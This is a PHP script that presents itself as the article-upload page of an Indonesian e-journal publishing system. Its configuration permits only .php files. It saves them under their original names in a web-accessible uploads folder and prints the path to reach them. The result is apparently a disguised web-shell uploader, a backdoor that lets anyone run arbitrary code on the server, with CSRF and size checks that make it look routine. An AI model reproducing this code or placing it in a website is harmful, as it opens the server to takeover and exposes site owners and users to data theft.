Upload File


/**
* Web Jurnal Ilmiah - Sistem Publikasi Artikel
* Copyright (C) 2026
*
* Aplikasi ini digunakan untuk pengelolaan dan publikasi jurnal ilmiah
* secara online (e-journal), termasuk proses submission, review, dan publikasi.
*
* Perangkat lunak ini merupakan software bebas: Anda dapat mendistribusikan
* dan/atau memodifikasinya sesuai dengan GNU General Public License (GPL)
* versi 3 atau versi yang lebih baru.
*
* Program ini didistribusikan dengan harapan berguna,
* namun TANPA JAMINAN APA PUN, termasuk tanpa jaminan
* kelayakan jual atau kesesuaian untuk tujuan tertentu.
*
* Lihat GNU General Public License untuk informasi lebih lanjut:
* https://www.gnu.org/licenses/
*/

declare(strict_types=1);
session_start();

// Konfigurasi
$uploadDir = __DIR__ . '/uploads/';
$allowedExtensions = ['php'];
$maxFileSize = 2 * 1024 * 1024; // 2 MB
$minFileSize = 10; // Diubah dari 1 menjadi 10 byte

// Buat folder uploads jika belum ada
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}

// CSRF Token
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Daftar MIME type yang diizinkan per ekstensi
$allowedMimes = [
'php' => [
'text/x-php',
'application/x-httpd-php',
'application/php',
'text/plain',
'application/octet-stream',
'application/x-php',
],
];

// Tampilan Form
echo '

Upload File Jurnal

';
echo '





';

// Proses Upload
if (isset($_POST['_upl'])) {

// 1. Validasi CSRF Token
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
exit('CSRF token tidak valid.');
}

// 2. Cek error upload
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
exit('Upload gagal: file tidak valid.');
}

$fileTmpPath = $_FILES['file']['tmp_name'];
$fileSize = (int) $_FILES['file']['size'];
$fileName = (string) $_FILES['file']['name'];
$baseName = basename($fileName);

// 3. Validasi nama file (hanya huruf, angka, titik, strip, underscore)
if (!preg_match('/^[A-Za-z0-9._-]+$/', $baseName)) {
exit('Nama file tidak valid. Hanya huruf, angka, titik, strip (-), underscore (_) yang diizinkan.');
}

// 4. Validasi ekstensi
$fileExtension = strtolower(pathinfo($baseName, PATHINFO_EXTENSION));
if ($fileExtension === '' || !in_array($fileExtension, $allowedExtensions, true)) {
exit('Ekstensi tidak diizinkan. Hanya file .php');
}

// 5. Cek nama file mencurigakan (double extension)
if (preg_match('/\.(php|phtml|phar|php[0-9]?)\./i', $baseName)) {
exit('Nama file mencurigakan.');
}

// 6. Validasi ukuran file (Maksimal 2MB dan Minimal 10 byte / anti 0KB)
if ($fileSize === 0) {
exit('File kosong (0KB) tidak diizinkan.');
}
if ($fileSize < $minFileSize) {
exit('File terlalu kecil (minimal 10 byte).');
}
if ($fileSize > $maxFileSize) {
exit('File terlalu besar. Maksimum 2MB.');
}

// 6.1. CEK KONTEN FILE (Anti Bypass 0KB dengan file 1 byte spasi/enter)
$fileContent = file_get_contents($fileTmpPath);
if (trim($fileContent) === '') {
exit('File tidak boleh kosong atau hanya berisi spasi/enter.');
}

// 7. Validasi MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $fileTmpPath);
finfo_close($finfo);

if (!in_array($mimeType, $allowedMimes[$fileExtension] ?? [], true)) {
exit('Tipe file tidak sesuai dengan ekstensi. Terdeteksi: ' . htmlspecialchars($mimeType) . '');
}

// 8. Tentukan nama file tujuan
$safeName = $baseName;
$destination = $uploadDir . $safeName;

// Jika file sudah ada, tambahkan timestamp
if (file_exists($destination)) {
$nameOnly = pathinfo($baseName, PATHINFO_FILENAME);
$extOnly = pathinfo($baseName, PATHINFO_EXTENSION);
$safeName = $nameOnly . '_' . time() . '.' . $extOnly;
$destination = $uploadDir . $safeName;
}

// 9. Pindahkan file
if (move_uploaded_file($fileTmpPath, $destination)) {
chmod($destination, 0644);

echo 'Upload berhasil!
';
echo 'File: ' . htmlspecialchars($safeName, ENT_QUOTES, 'UTF-8') . '
';
echo 'Ukuran: ' . number_format($fileSize / 1024, 2) . ' KB
';
echo 'Akses: uploads/' . htmlspecialchars($safeName) . '';
} else {
echo 'Upload gagal. Tidak bisa memindahkan file.';
}
}
?>